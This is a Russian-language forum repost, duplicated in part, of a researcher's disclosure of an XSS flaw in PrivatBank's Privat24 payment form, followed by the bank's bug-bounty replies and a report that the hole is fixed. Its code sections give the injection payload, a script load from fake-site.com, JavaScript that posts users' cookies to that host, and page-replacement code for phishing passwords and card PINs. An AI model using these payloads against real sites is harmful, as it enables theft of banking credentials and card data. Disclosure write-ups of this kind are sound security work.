Крупнейший банк Украины Приватбанк объявил о том что
Узнав об этом я вспомнил XSS уязвимость, которую обнаружил и написал о ней в приватный чат оператору Приват24 пол года назад. Погуглив об этой замечательной новости увидел статью на хабре
Интересно и страшно в одно и то же время. Ищите нам уязвимости а мы вас будем обвинять во взломе!
Решив что я не нарушаю никаких правил Приватбанка, пошел проверять старую уязвимость, и (почему то я и не сомневался) ее никто не исправил.
На официальном сайте банка есть
Подставив в поле “details”:
И отправив форму, пользователь попадает на страницу оплаты ПриватБанка на которой и выполняется XSS:
Оригинальная страница выглядит так:
Посмотреть вложение 29610
На ней выполняется наш alert():
в firefox:
Посмотреть вложение 29611
в chrome:
Посмотреть вложение 29612
в IE10:
Посмотреть вложение 29613
Идем дальше и загружаем javascript с удаленного хоста:
И получаем ошибку:
Посмотреть вложение 29614
The page at '
Исправляем и пробуем еще раз:
Работает! (Главное, сертификат должен быть валидным и не самоподписанным).
Удаленный js файл выполняется:
Посмотреть вложение 29615
Далее первое что приходит в голову — отправлять на fake-site.com куки пользователей.
Для этого в наш p.js добавляем:
Используем jQuery только потому, что он доступен на странице банка.
Куки получаем, отправляем на фейковый сайт и видим ошибку:
Посмотреть вложение 29616
XMLHttpRequest cannot load '
И запросы пошли.
На этом не останавливаемся и пробуем подменить страницу чтобы пользователь ввел повторно свой номер телефона, пароль от клиент банка.
Модифицируем p.js так:
Прячем поле ввода кода платежа и показываем форму авторизации:
Посмотреть вложение 29617
Так же можно показать форму восстановление доступа (если пользователь вводит пароль 3 раза неправильно то видит такую форму):
Посмотреть вложение 29618
Показав эту форму на странице банка злоумышленник может получить от пользователя его пароль, номер телефона, почтовый адрес. Далее при восстановлении пароля банк высылает пароль на мобильный телефон и только ПОСЛЕ его ввода пользователь видит форму ввода пин кода карты, но так как эта форма поддельная то и пароли никто высылать не будет и пользователь сразу увидит форму ввода пин кода:
Посмотреть вложение 29619
В итоге у нас есть последние 4 цифры карты пользователя и пин код к ней.
Из формы оплаты у нас есть список всех карт пользователя:
Посмотреть вложение 29620
Соответственно злоумышленник знает полный номер карты и пин код от этой карты а так же ФИО пользователя, его номер телефона, пароль от Приват24, номера и балансы всех его карт заведенных в Приват24.
Остается запустить любой сайт с оплатой через Приват24, продавать любой товар с огромными скидками и собирать данные пользователей.
Но так как мы честные граждане, то об этой уязвимости еще раз сообщено в отдел “Поиск IT-уязвимостей” и получены вот такие ответы (Перед получением каждого письма от ПриватБанка я писам им запросы):
1) 13 февраля 2014
Добрый день!
Ваш сигнал по форме оплаты Приват24 взят в работу.
Спасибо за сигнал! О результатах мы проинформируем отдельным сообщением!
2) 20 февраля 2014
Добрый день!
Уязвимость еще не закрыта, над ее устранением работают разработчики.
Прошу подождать некоторое время и не публиковать пока информацию об этой уязвимости. Мы обязательно сообщим о ее устранении. Рассматриваем сигналы мы в течении 7 дней, но устранение уязвимостей, к сожалению, занимает больше времени (с учетом того, что сигналов поступает много).
Спасибо за понимание!
3) 12 марта 2014
Добрый день!
Уязвимость, которую Вы указали уже проработали. Изменения внесли и протестировали на тестовом сервере Приват24. Ожидается выставление исправленной версии на боевой сервер.
Сообщаем что за этот сигнал Вам будет выплачено денежное вознаграждение (ориентировочная сумма — 1500грн.) Прошу сообщить номер Вашей карты «Универсальная» на которую будет осуществлена выплата. Выплата будет осуществлена в начале апреля. До осуществления выплаты прошу не разглашать информацию об этой уязвимости. Спасибо!
4) 18 апреля 2014
Добрый день!
На данный момент все выплаты банком по Крыму приостановлены в связи с неопределенностью политической ситуации в отношении банковского сектора в этом регионе.
Спасибо за понимание!
Дальнейшие действия не проводились, все исследования проводились над своим аккаунтом как и требуют “Условия и правила” банка:
Посмотреть вложение 29621
Сегодня проверил — уязвимость исправлена!
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. И информация Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Узнав об этом я вспомнил XSS уязвимость, которую обнаружил и написал о ней в приватный чат оператору Приват24 пол года назад. Погуглив об этой замечательной новости увидел статью на хабре
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Интересно и страшно в одно и то же время. Ищите нам уязвимости а мы вас будем обвинять во взломе!
Решив что я не нарушаю никаких правил Приватбанка, пошел проверять старую уязвимость, и (почему то я и не сомневался) ее никто не исправил.
На официальном сайте банка есть
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
для интернет-эквайринга.
Код:
<form action="https://api.privatbank.ua/p24api/ishop" method="POST">
<input type="text" name="amt" value="сумма"/>
<input type="text" name="ccy" value="валюта (UAH / USD / EUR)" />
<input type="hidden" name="merchant" value="ID мерчанта" />
<input type="hidden" name="order" value="уникальный код операции" />
<input type="hidden" name="details" value="назначение платежа" />
<input type="hidden" name="ext_details" value="дополнительные данные (код товара, и т.п.) /можно оставить пустым/" /> <input type="hidden" name="pay_way" value="privat24" />
<input type="hidden" name="return_url" value="страница, принимающая клиента после оплаты" />
<input type="hidden" name="server_url" value="страница, принимающая ответ API о результате платежа" />
<input type="submit" value="Оплатить" /> </form>
Код:
<input type="hidden" name="details" value="test<script>alert(‘xss’);</script>" />
Оригинальная страница выглядит так:
Посмотреть вложение 29610
На ней выполняется наш alert():
в firefox:
Посмотреть вложение 29611
в chrome:
Посмотреть вложение 29612
в IE10:
Посмотреть вложение 29613
Идем дальше и загружаем javascript с удаленного хоста:
Код:
<input type="hidden" name="details" value="test<script src=’http://fake-site.com/p.js’></script>"/>
Посмотреть вложение 29614
The page at '
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.....' was loaded over HTTPS, but ran insecure content from 'Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
': this content should also be loaded over HTTPS.Исправляем и пробуем еще раз:
Код:
<input type="hidden" name="details" value="test<script src=’https://fake-site.com/p.js’></script>"/>
Удаленный js файл выполняется:
Посмотреть вложение 29615
Далее первое что приходит в голову — отправлять на fake-site.com куки пользователей.
Для этого в наш p.js добавляем:
Код:
function getCookies() {
var cookies = {}; // The object we will return
var all = document.cookie; // Get all cookies in one big string
if (all === "") // If the property is the empty string
return cookies; // return an empty object
var list = all.split("; "); // Split into individual name=value pairs
for(var i = 0; i < list.length; i++) { // For each cookie
var cookie = list[i];
var p = cookie.indexOf("="); // Find the first = sign
var name = cookie.substring(0,p); // Get cookie name
var value = cookie.substring(p+1); // Get cookie value
value = decodeURIComponent(value); // Decode the value
cookies[name] = value; // Store name and value in object
}
return cookies;
}
$.post("https://fake-site.com/p.php", getCookies());
Куки получаем, отправляем на фейковый сайт и видим ошибку:
Посмотреть вложение 29616
XMLHttpRequest cannot load '
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
'. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
......' is therefore not allowed access. Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
в p.php:
Код:
header("Access-Control-Allow-Origin: *");
На этом не останавливаемся и пробуем подменить страницу чтобы пользователь ввел повторно свой номер телефона, пароль от клиент банка.
Модифицируем p.js так:
Код:
var html = ”...тут много кода css и html..”;
$(function() {
a();
});
function a(){
$(".pr_block").find(".pr_password").addClass("fake").removeClass("pr_password").html(html);
$(".bt_cancel").hide();
$(".bt_login").hide();
}
Посмотреть вложение 29617
Так же можно показать форму восстановление доступа (если пользователь вводит пароль 3 раза неправильно то видит такую форму):
Посмотреть вложение 29618
Показав эту форму на странице банка злоумышленник может получить от пользователя его пароль, номер телефона, почтовый адрес. Далее при восстановлении пароля банк высылает пароль на мобильный телефон и только ПОСЛЕ его ввода пользователь видит форму ввода пин кода карты, но так как эта форма поддельная то и пароли никто высылать не будет и пользователь сразу увидит форму ввода пин кода:
Посмотреть вложение 29619
В итоге у нас есть последние 4 цифры карты пользователя и пин код к ней.
Из формы оплаты у нас есть список всех карт пользователя:
Посмотреть вложение 29620
Соответственно злоумышленник знает полный номер карты и пин код от этой карты а так же ФИО пользователя, его номер телефона, пароль от Приват24, номера и балансы всех его карт заведенных в Приват24.
Остается запустить любой сайт с оплатой через Приват24, продавать любой товар с огромными скидками и собирать данные пользователей.
Но так как мы честные граждане, то об этой уязвимости еще раз сообщено в отдел “Поиск IT-уязвимостей” и получены вот такие ответы (Перед получением каждого письма от ПриватБанка я писам им запросы):
1) 13 февраля 2014
Добрый день!
Ваш сигнал по форме оплаты Приват24 взят в работу.
Спасибо за сигнал! О результатах мы проинформируем отдельным сообщением!
2) 20 февраля 2014
Добрый день!
Уязвимость еще не закрыта, над ее устранением работают разработчики.
Прошу подождать некоторое время и не публиковать пока информацию об этой уязвимости. Мы обязательно сообщим о ее устранении. Рассматриваем сигналы мы в течении 7 дней, но устранение уязвимостей, к сожалению, занимает больше времени (с учетом того, что сигналов поступает много).
Спасибо за понимание!
3) 12 марта 2014
Добрый день!
Уязвимость, которую Вы указали уже проработали. Изменения внесли и протестировали на тестовом сервере Приват24. Ожидается выставление исправленной версии на боевой сервер.
Сообщаем что за этот сигнал Вам будет выплачено денежное вознаграждение (ориентировочная сумма — 1500грн.) Прошу сообщить номер Вашей карты «Универсальная» на которую будет осуществлена выплата. Выплата будет осуществлена в начале апреля. До осуществления выплаты прошу не разглашать информацию об этой уязвимости. Спасибо!
4) 18 апреля 2014
Добрый день!
На данный момент все выплаты банком по Крыму приостановлены в связи с неопределенностью политической ситуации в отношении банковского сектора в этом регионе.
Спасибо за понимание!
Дальнейшие действия не проводились, все исследования проводились над своим аккаунтом как и требуют “Условия и правила” банка:
Посмотреть вложение 29621
Сегодня проверил — уязвимость исправлена!